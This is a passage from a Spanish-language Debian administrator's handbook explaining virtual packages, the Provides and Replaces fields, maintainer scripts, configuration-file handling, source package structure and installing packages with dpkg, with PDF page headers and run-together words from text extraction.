particularmente importantes. Elprimero consiste en utilizar un paquetevirtual para asociar un serviciogenérico con él (el paquete «provee» elservicio). El segundo indica que unpaquete reemplaza completamente aotro y, para esos propósitos, tambiénpuede satisfacer las dependencias queotros satisfacen. Es posible, entonces,crear un paquete substituto sin tenerque utilizar el mismo nombre depaquete.

VOCABULARIO Metapaquete y paquetevirtual

Es esencial distinguir los metapaquetes delos paquetes virtuales. Los primeros sonpaquetes reales (incluyendo archivos

Page 408: El Libro Del Administrador de Debian - Raphael Hertzog

.deb) cuyo único propósito es expresardependencias.

Los paquetes virtuales, por el otro lado,no existen físicamente; sólo son un modode identificar paquetes reales basados encriterios lógicos y comunes (serviciosprovistos, compatibilidades con unprograma estándar o un paquetepreexistentes, etc.).

5.2.1.4.1. Proveyendo un «servicio»

Discutamos con más detalles el primercaso con un ejemplo: se dice que todoslos servicios de correo, como postfix osendmail «proveen» el paquete virtualmail-transport-agent. Por lo tanto,

Page 409: El Libro Del Administrador de Debian - Raphael Hertzog

cualquier paquete que necesite esteservicio para funcionar (por ejemplo,un gestor de listas de correo comosmartlist o sympa) simplementeindican en sus dependencias querequieren de mail-transport-agent enlugar de especificar una lista larga yaún incompleta de posibles soluciones(por ejemplo postfix | sendmail | exim| ...). Lo que es más, es inútil instalardos servidores de correo en el mismoequipo, por lo que cada uno de estospaquetes declara un conflicto con elpaquete virtual mail-transport-agent. Elconflicto con sí mismo es ignorado porel sistema, pero esta técnica prohibirála instalación de dos servidores decorreo simultáneamente.

Page 410: El Libro Del Administrador de Debian - Raphael Hertzog

NORMA DEBIAN Lista de paquetesvirtuales

Para que un paquete virtual sea útil, todosdeben estar de acuerdo en su nombre. Esporque eso que están estandarizados en laNormativa Debian. Esta lista incluye,entre otros, mail-transport-agent paraservidores de correo, c-compiler paracompiladores del lenguaje deprogramación C, www-browser paranavegadores web, httpd para servidoresweb, ftp-server para servidores FTP, x-terminal-emulator para emuladores determinal en modo gráfico (xterm) y x-window-manager para gestores deventanas.

Puede encontrar la lista completa en laweb, en

Page 411: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.txt

5.2.1.4.2. Intercambio con otropaquete

El campo Provides es nuevamenteinteresante cuando se incluye elcontenido del paquete en un paquetemás grande. Por ejemplo, el móduloPerl libdigest-md5-perl era un móduloopcional en Perl 5.6 y fue integradocomo estándar en Perl 5.8 (y versionessiguientes, como 5.10 que está presenteen Squeeze). Como tal, el paquete perldesde su versión 5.8 declara Provides:libdigest-md5-perl para que se

Page 412: El Libro Del Administrador de Debian - Raphael Hertzog

cumplan las dependencias de estepaquete si el usuario tiene Perl 5.8 o5.10. El paquete libdigest-md5-perl ensí fue eventualmente eliminado ya queno tenía propósito cuando las versionesantiguas de Perl fueron retiradas.

Figure 5.1. Utilización del campoProvides para no romperdependencias

Page 413: El Libro Del Administrador de Debian - Raphael Hertzog

Esta funcionalidad es muy útil ya quenunca es posible anticipar los caprichos

Page 414: El Libro Del Administrador de Debian - Raphael Hertzog

del desarrollo y es necesario que seaposible adaptarse a cambios de nombrey otros reemplazos automáticos desoftware obsoleto.

VOLVER A LOS CIMIENTOS Perl, unlenguaje de programación

Perl (lenguaje práctico de extración yreportes — «Practical Extraction andReport Language») es un lenguaje deprogramación muy popular. Tienemuchos módulos listos para utilizar quecubren un vasto espectro de aplicacionesy que son distribuidos por los servidoresCPAN (red exhaustiva de compendiosPerl — «Comprehensive Perl ArchiveNetwork»), una amplia red de paquetesPerl.

Page 415: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.perl.org/

→ http://www.cpan.org/

Dado que es un lenguaje interpretado, unprograma escrito en Perl no requierecompilación antes de su ejecución. Poresto se los llama «scripts Perl».

5.2.1.4.3. Limitaciones actuales

Los paquetes virtuales sufren dealgunas limitaciones problemáticas, lamás importante de ellas es la ausenciade un número de versión. Volviendo alejemplo anterior, una dependenciacomo Depends: libdigest-md5-perl(>= 1.6) nunca será considerada como

Page 416: El Libro Del Administrador de Debian - Raphael Hertzog

satisfecha aún en presencia de Perl 5.10— cuando de hecho es altamenteprobable que esté satisfecha. Sinconocimientos de esto el sistema depaquetes selecciona la opción menosriesgosa y asume que las versiones nocoinciden.

YENDO MÁS ALLÁ Versiones depaquetes virtuales

Si bien hoy en día los paquetes virtualesno pueden tener versiones, esto no será elcaso para siempre. De hecho, apt yapuede gestionar versiones de paquetesvirtuales y es probable que dpkg tambiénlo hará eventualmente. Luego podremosescribir los campos como Provides:libstorable-perl (= 1.7) para indicarque el paquete provee la misma

Page 417: El Libro Del Administrador de Debian - Raphael Hertzog

funcionalidad que libstorable-perl en suversión 1.7.

5.2.1.5. Reemplazandoarchivos: el campo Replaces

El campo Replaces indica que elpaquete contiene archivos que tambiénestán presentes en otro paquete, peroque el paquete tiene el derecholegítimo de reemplazarlo. Sin estaespecificación, dpkg fallará indicandoque no puede sobreescribir los archivosde otro paquete (es posible forzar quelo haga con la opción --force-overwrite). Esto permite identificar

Page 418: El Libro Del Administrador de Debian - Raphael Hertzog

problemas potenciales y requiere que eldesarrollador estudie el hecho antes dedecidir agregar dicho campo.

El uso de este campo está justificadocuando cambian los nombres de lospaquetes o cuando un paquete estáincluido en otro. Esto sucede cuando eldesarrollador decide distribuir losarchivos de otra forma entre los variospaquetes binarios producidos delmismo paquete fuente: un archivoreemplazado no le corresponde alpaquete antiguo, sólo al nuevo.

Si todos los archivos de un paqueteinstalado fueron reemplazados, seconsidera que se eliminó el paquete.

Page 419: El Libro Del Administrador de Debian - Raphael Hertzog

Finalmente, este campo incita quedpkg elimie los paquetes reemplazadosen casos de conflictos.

YENDO MÁS ALLÁ El campo Tag

En el ejemplo anterior de apt podemos verla presencia de un campo que no hemosdescripto todavía, el campo Tag. Estecampo no describe la relación entrepaquetes sino que es una forma simple decategorizar un paquete en una taxonomíatemática. Esta clasificación de paqueteses según varios criterios (tipos deinterfaz, lenguaje de programación,dominio de la aplicación, etc.) es undesarrollo reciente de Debian. Por esto noestá integrado aún en todas susherramientas; aptitude muestra estasetiquetas y permite utilizarlas como

Page 420: El Libro Del Administrador de Debian - Raphael Hertzog

criterio de búsqueda. Para aquellos queevitan los criterios de búsqueda deaptitude, el siguiente sitio le permitenavegar por la base de datos de etiquetas:

→ http://debtags.alioth.debian.org/

5.2.2. Scripts deconfiguraciónAdemás del archivo control, elcompendio control.tar.gz de cadapaquete Debian puede contener unacantidad de scripts que seránejecutados por dpkg en diferentesetapas del procesamiento de un

Page 421: El Libro Del Administrador de Debian - Raphael Hertzog

paquete. La Normativa Debian describelo casos posibles en detalle,especificando los scripts que seránllamados y los argumentos querecibirán. Estas secuencias pueden sercomplicadas ya que si falla uno de losscripts dpkg intentará volver a unestado satisfactorio cancelando lainstalación o eliminación en curso(siempre que sea posible).

YENDO MÁS ALLÁ Directorio de datosde dpkg

Todos los scripts de configuración paralos paquetes instalados se almacenan enel directorio /var/lib/dpkg/info/ enforma de un archivo con el nombre delpaquete como prefijo. Este directorio

Page 422: El Libro Del Administrador de Debian - Raphael Hertzog

también incluye un archivo con laextensión .list para cada paquete quecontiene una lista de los archivos quepertenecen a dicho paquete.

El archivo /var/lib/dpkg/statuscontiene una serie de bloques de datos(en el famoso formato de cabeceras decorreo, RFC 2822) que describen elestado de cada paquete. La informacióndel archivo control también es duplicadaallí.

En general, se ejecuta el script preinstantes de la instalación del paquete, ypostinst luego. De la misma forma,se invoca prerm antes de laeliminación de un paquete y postrmluego. Actualizar un paquete es

Page 423: El Libro Del Administrador de Debian - Raphael Hertzog

equivalente a eliminar la versiónanterior e instalar la nueva. No esposible describir en detalle todos losescenarios posibles aquí, perodiscutiremos los dos más comunes:instalación/actualización yeliminación.

PRECAUCIÓN Nombres simbólicos delos scripts

Las secuencias descriptas en esta secciónllaman scripts de configuración por susnombres específicos, como old-prerm onew-postinst. Ellos son, respectivamente,el script prerm en la versión antigua delpaquete (instalada antes de laactualización) y el script postinst en lanueva versión (instalada en laactualización).

Page 424: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Diagramas de estado

Manoj Srivastava realizó estos diagramasexplicando cómo dpkg llama a estosscripts de configuración. El proyectoDebian Women («Mujeres Debian»)también desarrolló diagramas similares;más simples de entender pero menoscompletos.

→ http://people.debian.org/~srivasta/MaintainerScripts.html

→ http://wiki.debian.org/MaintainerScripts

5.2.2.1. Instalación yactualización

Page 425: El Libro Del Administrador de Debian - Raphael Hertzog

Esto es lo que ocurre durante unainstalación (o actualización):

1. En una actualización, dpkgejecuta old-prerm upgradenueva-versión.

2. En una actualización dpkg ejecutaluego new-preinst upgradeantigua-versión; para unaprimera instalación ejecuta new-preinst install. También puedeagregar la versión anterior en elúltimo parámetro si el paquete yaha sido instalada y eliminadadesde entonces (pero no purgada,se mantuvieron los archivos deconfiguración).

3. Se descomprimen los archivos del

Page 426: El Libro Del Administrador de Debian - Raphael Hertzog

nuevo paquete. Si un archivo yaexiste, es reemplazado pero seguarda una copia de respaldo deforma temporal.

4. En una actualización, dpkgejecuta old-postrm upgradenueva-versión.

5. dpkg actualiza toda suinformación interna (lista dearchivos, scripts de configuración,etc.) y elimina los respalos de losarchivos reemplazados. Este es elpunto sin retorno: dpkg ya notiene acceso a todos los elementosnecesarios para volver al estadoanterior.

6. dpkg actualizará los archivos deconfiguración, pidiéndole al

Page 427: El Libro Del Administrador de Debian - Raphael Hertzog

usuario que decida si no es capazde administrar esta tareaautomáticamente. Los detalles deeste proceso son discutidos en laSection 5.2.3, “Sumas deverificación («checksum»), listade archivos de configuración”.

7. Finalmente, dpkg configura elpaquete ejecutando new-postinstconfigure última-versión-configurada.

5.2.2.2. Eliminación de unpaquete

Esto es lo que sucede durante laeliminación de un paquete:

Page 428: El Libro Del Administrador de Debian - Raphael Hertzog

1. dpkg ejecuta prerm remove.2. dpkg elimina todos los archivos

del paquete, con la excepción delos archivos de configuración yscripts de configuración.

3. dpkg ejecuta postrm remove. Seeliminan todos los scripts deconfiguración excepto postrm. Siel usuario no utilizó la opción«purgar» («purge»), lasoperaciones terminan aquí.

4. Para eliminar completamente unpaquete (con la orden dpkg --purge o dpkg -P), los archivos deconfiguración también soneliminados junto con una cantidadde copias (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) y archivos

Page 429: El Libro Del Administrador de Debian - Raphael Hertzog

temporales; luego dpkg ejecutapostrm purge.

VOCABULARIO Purgar, eliminacióncompleta

Cuando un paquete de Debian eseliminado, se mantienen los archivos deconfiguración para facilitar una posiblereinstalación. De la misma forma, semantienen normalmente los datosgenerados por un demonio (como elcontenido de un servidor de directorioLDAP o el contenido de una base de datosde un servidor SQL).

Para eliminar todos los datos asociadoscon un paquete es necesario «purgar» elpaquete con la orden dpkg -P paquete,apt-get remove --purge paquete o

Page 430: El Libro Del Administrador de Debian - Raphael Hertzog

aptitude purge paquete.

Dada la naturaleza definitiva de taleliminación de datos, no se debe tomar ala ligera el purgado.

Los cuatro scripts que aparecendetallados a continuación secomplementan con un script configprovisto por los paquetes que utilizandebconf para adquirir información deconfiguración del usuario. Durante lainstalación este script define en detallelas preguntas realizadas por debconf.Se graban las respuestas en la base dedatos de debconf para futurasreferencias. Generalmente apt ejecutael script antes de instalar los paquetes

Page 431: El Libro Del Administrador de Debian - Raphael Hertzog

uno por uno para agrupar las preguntasy realizarlas todas al usuario alcomienzo del proceso. Los scripts depre y postinstalación pueden utilizaresta información para operar según losdeseos del usuario.

HERRAMIENTA debconf

Se creó debconf para resolver unproblema recurrente en Debian. Todos lospaquetes Debian que no pueden funcionarsin un mínimo de configuración solíanhacer preguntar ejecutando echo y readen scripts como postinst o similares.Pero esto también resultaba que duranteuna instalación o actualización grande elusuario debía mantenerse frente al equipopara responder a las varias preguntas quepodían surgir en cualquier momento. Se

Page 432: El Libro Del Administrador de Debian - Raphael Hertzog

han evitado la mayoría de todas estasinteracciones manuales gracias a laherramienta debconf.

debconf tiene muchas funcionalidadesinteresantes: requiere que el desarrolladorespecifique la interacción con el usuario,permite localización de varias cadenas decaracteres mostradas (se guardan todaslas traducciones en el archivo templatesdescribiendo las interacciones), tienediferentes modelos de visualización parapresentar las preguntas al usuario (modotexto, modo gráfico, no interactivo) ypermite la creación de una base de datoscentral de respuestas para compartir lamisma configuración entre variosequipos... pero la más importante es queahora es posible presentar todas laspreguntas en bloque al usuario antes decomenzar un largo proceso de instalación

Page 433: El Libro Del Administrador de Debian - Raphael Hertzog

o actualización. Mientras el sistema seencarga de la instalación por sí mismo, elusuario puede ocuparse de otras tareas sinnecesidad de quedarse mirando lapantalla esperando preguntas.

5.2.3. Sumas deverificación(«checksum»), lista dearchivos deconfiguraciónAdemás de los archivos deconfiguración mencionados en la

Page 434: El Libro Del Administrador de Debian - Raphael Hertzog

sección anterior, el archivocontrol.tar.gz en un paquete Debiancontiene otros. El primero, md5sumscontiene una lista de las huellasdigitales de todos los archivos delpaquete. Su principal ventaja es quepermite que herramientas comodebsums (que estudiaremos en laSection 14.3.3.1, “Auditoría depaquetes: debsums y sus límites”)chequeen si estos archivos fueronmodificados desde su instalación.

conffiles lista los archivos delpaquete que tienen que administrarsecomo archivos de configuración. Esorequiere una gestión especial ya que eladministrador puede modificar los

Page 435: El Libro Del Administrador de Debian - Raphael Hertzog

archivos de configuración ygeneralmente se preservan los cambiosdurante la actualización de un paquete.

De hecho, en esta situación, dpkg secomporta tan inteligentemente como lees posible: si el archivo deconfiguración estándar no fuemodificado entre dos versiones, nohace nada. Si, sin embargo, el archivocambió intentará actualizar estearchivo. Son posibles dos casos: o bienel administrador no modificó elarchivo, en cuyo caso dpkgautomáticamente instalará la nuevaversión; o el archivo fue modificado,en cuyo caso dpkg le preguntará aladministrador qué versión desea

Page 436: El Libro Del Administrador de Debian - Raphael Hertzog

utilizar (la antigua con modificacioneso la nueva provista con el paquete).Para asistirlo en esta decisión dpkgofrece mostrar las diferencias entre lasdos versiones («diff»). Si el usuariodecide mantener la versión anterior, lanueva será almacenada en la mismaubicación con el sufijo .dpkg-dist. Siel usuario selecciona la nueva versión,se mantiene la versión anterior en lamisma ubicación con el sufijo .dpkg-old. Otra acción posible consiste eninterrumpir momentáneamente dpkgpara editar el archivo e intentar rehacerlas modificaciones relevantes(identificadas previamente con diff).

YENDO MÁS ALLÁ Evitando preguntas

Page 437: El Libro Del Administrador de Debian - Raphael Hertzog

sobre los archivos de configuración

dpkg administra la actualización de losarchivos de configuración perointerrumpe estas operacionesfrecuentemente para pedir información aladministrador. Esto lo hace menosplacentero para aquellos que deseanejecutar actualizaciones de forma nointeractiva. Es por esto que éste programaofrece opciones que le permiten alsistema responder automáticamente segúnla misma lógica: --force-confoldmantiene los archivos de configuraciónanteriores; --force-confnew utilizará lanueva versión del archivo (se respetanestas opciones aún cuando el archivo nofue modificado por el administrador, querara vez tienen el efecto deseado).Agregar la opción --force-confdef le dicea dpkg que utilice la opción

Page 438: El Libro Del Administrador de Debian - Raphael Hertzog

predeterminada sólo cuando se lepresente una (en otras palabras, cuando elarchivo de configuración original no fuemodificado) y sólo utilice --force-confnew o --force-confold para los otroscasos.

Estas opciones sólo son válidas paradpkg, pero la mayor parte del tiempo eladministrador trabajará directamente conlos programas aptitude o apt-get. Es, porlo tanto, necesario saber la sintaxisnecesaria para indicar las opciones apasar a dpkg (sus opciones son muysimilares).

# apt-get -o DPkg::Options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

Estas opciones pueden almacenarsedirectamente en la configuración delprograma apt en lugar de especificarlas

Page 439: El Libro Del Administrador de Debian - Raphael Hertzog

en cada ejecución. Para esto, simplementeescriba la siguiente línea en el archivo/etc/apt/apt.conf.d/local:

DPkg::Options { "--force-confdef"; "--force-confold"; }

Incluir esta opción en el archivo deconfiguración permitirá que también seautilizada en una interfaz gráfica comoaptitude.

YENDO MÁS ALLÁ Obligando a dpkg apreguntar sobre los archivos deconfiguración

La opción --foce-confask obliga a dpkg amostrar las preguntas sobre archivos deconfiguración aún en los casos en los queno serían necesarias normalmente. Por lotanto, al reinstalar un paquete con esta

Page 440: El Libro Del Administrador de Debian - Raphael Hertzog

opción dpkg preguntará nuevamentesobre todos los archivos de configuraciónmodificados por el administrador. Esto esmuy conveniente, especialmente parareinstalar el archivo de configuraciónoriginal si éste fue borrado y no poseeotra copia disponible: una reinstalaciónnormal no funcionará porque dpkgconsidera la eliminación como una formalegítima de modificación del archivo porlo que no lo instalará nuevamente.

Page 441: El Libro Del Administrador de Debian - Raphael Hertzog

5.3. Estructura deun paquete fuente

5.3.1. FormatoUn paquete fuente generalmenteconsiste de tres archivos: uno .dsc,uno .orig.tar.gz y uno.debian.tar.gz o .diff.gz. Ellospermiten la creación de paquetesbinarios (.deb descriptosanteriormente) de los programas desdesu código fuente escrito en un lenguajede programación.

Page 442: El Libro Del Administrador de Debian - Raphael Hertzog

El archivo .dsc («Debian SourceControl»: control de fuente Debian) esun archivo de texto corto que contieneuna cabecera RFC 2822 (de la mismaforma que el archivo controlestudiado en la Section 5.2.1,“Descripción: el archivo control”)que describe el paquete fuente e indicaqué otros archivos forman parte delmismo. Está firmado por su encargado,lo que garantiza su autenticidad. Revisela Section 6.5, “Comprobando laautenticidad de un paquete” para másdetalles sobre este tema.

Example 5.1. Un archivo .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA256

Page 443: El Libro Del Administrador de Debian - Raphael Hertzog

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.48-1

Maintainer: Emfox Zhou <[email protected]>

Uploaders: Raphaël Hertzog <[email protected]>

Homepage: http://zim-wiki.org

Standards-Version: 3.9.0

Vcs-Browser: http://svn.debian.org/wsvn/collab-maint/deb-maint/zim/trunk?op=log

Vcs-Svn: svn://svn.debian.org/collab-maint/deb-maint/zim/trunk

Build-Depends: debhelper (>= 7.4.12), python-support (>= 0.8), xdg-utils, python (>= 2.5), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, python-simplejson | python (>= 2.6)

Checksums-Sha1:

bd84fa5104de5ed85a49723d26b350856de93217 966899 zim_0.48.orig.tar.gz

352111ff372a20579664416c9abd4970839835b3 9615 zim_0.48-1.debian.tar.gz

Checksums-Sha256:

77d8df7dc89b233fdc3aab1a8ad959c6888881ae160770f50bf880a56e02f895 966899 zim_0.48.orig.tar.gz

0fceab5d3b099075cd38c225fa4002d893c1cdf4bbcc51d1391a34248e1e1a22 9615 zim_0.48-1.debian.tar.gz

Files:

88cfc18c0c7339528d5f5f463647bb5f 966899 zim_0.48.orig.tar.gz

608b6e74aa14252dfc6236ab184bdb0c 9615 zim_0.48-1.debian.tar.gz

Page 444: El Libro Del Administrador de Debian - Raphael Hertzog

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.10 (GNU/Linux)

Comment: Signed by Raphael Hertzog

iQEcBAEBCAAGBQJMSUAfAAoJEAOIHavrwpq5qjUIAKmM8p86GcHYTxMmKENoBUoW

UPi5R7DzrLMbFrUXKgXWLvEKQTXpmkJhh2aSWq2iY+5piBSHwMiITfaBTpdTRvzU

5nT/n9MlF8sJFESet/NgZaMPFDzWUbIy5aYbuG1TXmn/7XiDrBaQGiVqKkVLPrqc

yWhsotn3JNKIjbPDW/DjImYyKD5RZpXrbVjuIgDT1E6yxtNYwUyBlK0cx/GITNep

uV48hsT8cj0paqVXl5+P9Ww8XIE3clxNpE/45/tvKvkqGOeysc6OPAqsIw6HYFY9

0EnvMTfMpeQOA68ZqsNpUjomv5r/EGwdCbAWo5iJDsZzXQ1Feh6iSNrjv3yeRzg=

=qnbh

-----END PGP SIGNATURE-----

Note que el paquete fuente tambiéntiene dependencias (Build-Depends)completamente distintas de aquellasdel paquete binario ya que indican lasherramientas necesarias para compilarel software en cuestión y construir supaquete binario.

Page 445: El Libro Del Administrador de Debian - Raphael Hertzog

PRECAUCIÓN Espacios de nombresdistintos

Es importante saber que no hay unacorrespondencia estricta entre el nombrede un paquete fuente y el de los paquetesbinarios que genera. Es suficientementefácil de entender si sabe que cada paquetefuente puede generar varios paquetesbinarios. Es por esto que el archivo .dsctiene los campos Source y Binary paranombrar explícitamente el paquete fuentey almacenar la lista de paquetes binariosque genera, respectivamente.

CULTURA Porqué dividir en variospaquetes

Frecuentemente un paquete fuente (para

Page 446: El Libro Del Administrador de Debian - Raphael Hertzog

un cierto grupo de programas) puedegenerar varios paquetes binarios. Lasrazones son múltiples: un programapuede ser utilizado en varios contextos,una biblioteca compartida puede serinstalada para hacer funcionar unaaplicación (por ejemplo, libc6) o paradesarrollar un nuevo programa (libc6-devsería el paquete correcto). Encontramos lamisma lógica para servicioscliente/servidor donde deseamos instalarel servidor en una máquina y la partecliente en otras (este es el caso, porejemplo, de openssh-server y openssh-client).

Tan frecuentemente también se provee ladocumentación en un paquete dedicado:el usuario puede instalarlaindependientemente del software y puedeelegir eliminarla en cualquier momento

Page 447: El Libro Del Administrador de Debian - Raphael Hertzog

para ahorrar espacio en disco.Adicionalmente, esto también ahorraespacio en disco en las réplicas Debian yaque todas las arquitecturas comparten lospaquetes de documentación (en lugar detener la documentación duplicada en lospaquetes para cada arquitectura).

PERSPECTIVA Diferentes formatos depaquetes fuente

Originalmente sólo existía sólo unformato de paquete fuente. Este es elformato 1.0 que asocia un compendio.orig.tar.gz con un parche de«debianización» .diff.gz (también hayuna variante que consiste de un simplecompendio .tar.gz, utilizadaautomáticamente si hay disponible unarchivo .orig.tar.gz).

Page 448: El Libro Del Administrador de Debian - Raphael Hertzog

Desde Debian Squeeze, losdesarrolladores Debian tienen la opciónde utilizar nuevos formatos que corrigenvarios problemas del formato histórico. Elformato 3.0 (quilt) puede combinarvarios compendios de origen en el mismopaquete fuente: compendios.orig-componente.tar.gz además del.orig.tar.gz usual. Esto es útil con elsoftware distribuido desde origen envarios componentes pero para el que sedesea sólo un paquete fuente. Estoscompendios también puede comprimirsecon bzip2 en lugar de gzip (dpkg-sourceacepta también lzma y xz pero no sonaceptados en el archivo oficial), lo queahorra espacio en disco y recursos de red.Finalmente, se reemplaza el parchemonolítico .diff.gz por un compendio.debian.tar.gz que contiene lasinstrucciones de compilación y un

Page 449: El Libro Del Administrador de Debian - Raphael Hertzog

conjunto de parches al origencontribuidos por el desarrollador delpaquete. Estos últimos son registrados enun formato compatible con quilt, unaherramienta que facilita la gestión de unaserie de parches.

El archivo .orig.tar.gz es uncompendio que contiene el códigofuente como es provisto por eldesarrollador original. Se le pide a losencargados de paquetes Debian que nomodifiquen este compendio para poderverificar fácilmente el origen eintegridad del archivo (comparándolosimplemente con una suma deverificación) y para respetar los deseosde algunos autores.

Page 450: El Libro Del Administrador de Debian - Raphael Hertzog

El archivo .debian.tar.gz contienetodas las modificaciones realizadas porel desarrollador Debian, especialmenteel agregado de un directorio debianque contiene las instrucciones paraconstruir un paquete Debian.

HERRAMIENTA Descomprimiendo unpaquete fuente

Si tiene un paquete fuente, puede utilizardpkg-source (del paquete dpkg-dev) paradescomprimirlo:

$ dpkg-source -x package_0.7-1.dsc

También puede utilizar apt-get paradescargar un paquete fuente ydescomprimirlo inmediatamente.Necesita, sin embargo, que las líneas deb-

Page 451: El Libro Del Administrador de Debian - Raphael Hertzog

src apropiadas estén presentes en elarchivo /etc/apt/sources.list (para maśdetalles, revise la Section 6.1,“Completando el archivo sources.list”).Éstas son utilizadas para listar losorígenes de los paquetes fuente (losservidores en los que se encuentran ungrupo de paquetes fuente).

$ apt-get source paquete

5.3.2. Utilizacióndentro de DebianEl paquete fuente es la base de todo enDebian. Todos los paquetes Debianprovienen de un paquete fuente y cadamodificación en un paquete Debian es

Page 452: El Libro Del Administrador de Debian - Raphael Hertzog

la consecuencia de una modificaciónrealizada al paquete fuente. Losdesarrolladores Debian trabajan con elpaquete fuente sabiendo, sin embargo,las consecuencias de sus acciones enlos paquetes binarios. Los frutos de sulabor se encuentran, entonces, en lospaquetes fuentes disponibles desdeDebian: puede volver atrás fácilmentey seguir todo.

Cuando llega una nueva versión de unpaquete (paquete fuente y uno o máspaquetes binarios) al servidor Debian,el paquete fuente es el más importante.Será utilizado luego por una red deequipos de diferentes arquitecturaspara compilar las diferentes

Page 453: El Libro Del Administrador de Debian - Raphael Hertzog

arquitecturas con las que Debian escompatible. El hecho de que losdesarrolladores también envíen uno omás paquetes binarios para unaarquitectura dada (generalmente i386 oamd64) es de relativamente pocaimportancia ya que los mismos bienpodrían haberse generadoautomáticamente.

Page 454: El Libro Del Administrador de Debian - Raphael Hertzog

5.4. Manipulaciónpaquetes con dpkgdpkg es el programa base para manejarpaquetes Debian en el sistema. Si tienepaquetes .deb, dpkg es lo que permiteinstalar o analizar sus contenidos. Peroeste programa sólo tiene una visiónparcial del universo Debian: sabe loque está instalado en el sistema y loque sea que se le provee en la línea deórdenes, pero no sabe nada más deotros paquetes disponibles. Como tal,fallará si no se satisface unadependencia. Por el contrario,herramientas como apt-get crearán una

Page 455: El Libro Del Administrador de Debian - Raphael Hertzog

lista de dependencias a instalar tanautomáticamente como les sea posible.

NOTA ¿dpkg o apt-get?

Se debe ver a dpkg como una herramientade sistema (tras bambalinas) y apt-getcomo una herramienta más cerca delusuario que evita las limitacionesanteriores. Estas herramientas trabajanjuntas, cada una con sus particularidades,adecuadas para tareas específicas.

5.4.1. Instalación depaquetes

Page 456: El Libro Del Administrador de Debian - Raphael Hertzog

dpkg es, sobre todo, una herramientapara instalar un paquete Debian yadisponible (porque no descarga nada).Para hacer esto utilizamos su opción -io --install.

Example 5.2. Instalación de unpaquete con dpkg

# dpkg -i man-db_2.5.7-4_i386.deb

(Reading database... 284247 files and directories currently installed.)

Preparing replacement man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ...

Unpacking the man-db update...

Configuring man-db (2.5.7-4) ...

Updating database of manual pages ...

Processing triggers for “doc-base”...

Processing 1 modified documentation file(s)

Recording documents with scrollkeeper ...

Podemos ver los diferentes pasos que

Page 457: El Libro Del Administrador de Debian - Raphael Hertzog

realiza dpkg; sabemos, por lo tanto, enqué punto podría haber ocurrido unerror. La instalación también puederealizarse en dos etapas: primerodesempaquetado, luego configuración.apt-get lo aprovecha limitando lacantidad de invocaciones de dpkg (yaque cada llamada es costosa debido a lacarga de la base de datos en memoria,especialmente la lista de archivos yainstalados).

Example 5.3. Desempaquetado yconfiguración separados

# dpkg --unpack man-db_2.5.7-4_i386.deb

(Reading database... 284247 files already installed.)

Preparing replacement of man-db 2.5.7-3 (using .../man-db_2.5.7-4_i386.deb) ...

Unpacking the man-db update...

Page 458: El Libro Del Administrador de Debian - Raphael Hertzog

Processing triggers for “doc-base”...

Treatment of a modified documentation file(s)

Recording documents with scrollkeeper ...

# dpkg --configure man-db

Configuring man-db (2.5.7-4) ...

Updating database of manual pages ...

A veces dpkg fallará intentandoinstalar un paquete y devolverá unerror; si el usuario le ordena ignorarlosólo generará una advertencia; es poresta razón que tenemos las diferentesopciones --force-*. La orden dpkg --force-help, o su documentación,proveerá una lista completa de estasopciones. El error más frecuente, con elque seguramente se encontrará tarde otemprano, es una colisión de archivos.Cuando un paquete contiene un paquete

Page 459: El Libro Del Administrador de Debian - Raphael Hertzog

que ya está instalado por otro paquete,dpkg se negará a instalarlo. Apareceráel siguiente mensaje:

Unpacking libisc52 (from .../libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb) ...

dpkg : error processing /var/cache/apt/archives/libisc52_1%3a9.6.ESV.R1+dfsg-0+lenny2_amd64.deb (--unpack) :

trying to overwrite "/usr/lib/libisc.so.50", which is also in package libisc50 1:9.6.1.dfsg.P1-3

En este caso, si piensa que reemplazareste archivo no es un riesgosignificativo para la estabilidad de susistema (que es el casofrecuentemente), puede utilizar laopción --force-overwrite que leindica a dpkg que ignore dicho error ysobreescriba el archivo.

Si bien hay muchas opciones --force-

Page 460: El Libro Del Administrador de Debian - Raphael Hertzog

* disponibles, probablemente sóloutilice regularmente --force-overwrite. Estas opciones sólo existenpara situaciones excepcionales y esmejor evitarlas siempre que sea posiblepara respetar las reglas impuestas porel mecanismo de empaquetado. Noolvide que estas reglas aseguran laconsistencia y estabilidad de susistema.

PRECAUCIÓN Uso efectivo de --force-*

Si no es cuidadoso, utilizar una opción --force-* puede llevar a un sistema en elque la familia de programas APT senegarán a funcionar. De hecho, algunasde estas opciones permitirán instalar un

Page 461: El Libro Del Administrador de Debian - Raphael Hertzog

paquete cuando no se cumple una de susdependencias o cuando existe unconflicto. El resultado será un sistemainconsistente desde el punto de vista dedependencias y los programas APT senegarán a efectuar cualquier acción queno le permite devolver el sistema a unestado consistente (que generalmenteconsiste en instalar la dependenciafaltante o eliminar un paqueteproblemático). Esto resulta en mensajescomo el siguiente, obtenido luego deinstalar una nueva versión de rdesktopignorando su dependencia en una nuevaversión de libc6:

# apt-get dist-upgrade

[...]

You can run "apt-get -f install" to correct these problems.

The following packages contain unmet dependencies:

rdesktop: Depends on: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed

E: missing dependencies. Try to use the option -f.

Page 462: El Libro Del Administrador de Debian - Raphael Hertzog

Un administrador valiente que está segurode la correctitud de su análisis podríaelegir ignorar una dependencia oconflicto y utilizar la opción --force-*correspondiente. En este caso, si deseapoder continuar utilizando apt-get oaptitude, deberá editar/var/lib/dpkg/status para borrar omodificar la dependencia o conflicto quedesea invalidar.

Esta manipulación es un atajodesagradable y no debería ser utilizadonunca excepto en los casos de másextrema necesidad. Muy frecuentemente,recompilar el paquete que está causandoel problema (revise la Section 15.1,“Recompilación de un paquete desde susfuentes”) o utilizar una nueva verión(potencialmente corregida) de un sitiocomo backports.debian.org (revise la

Page 463: El Libro Del Administrador de Debian - Raphael Hertzog

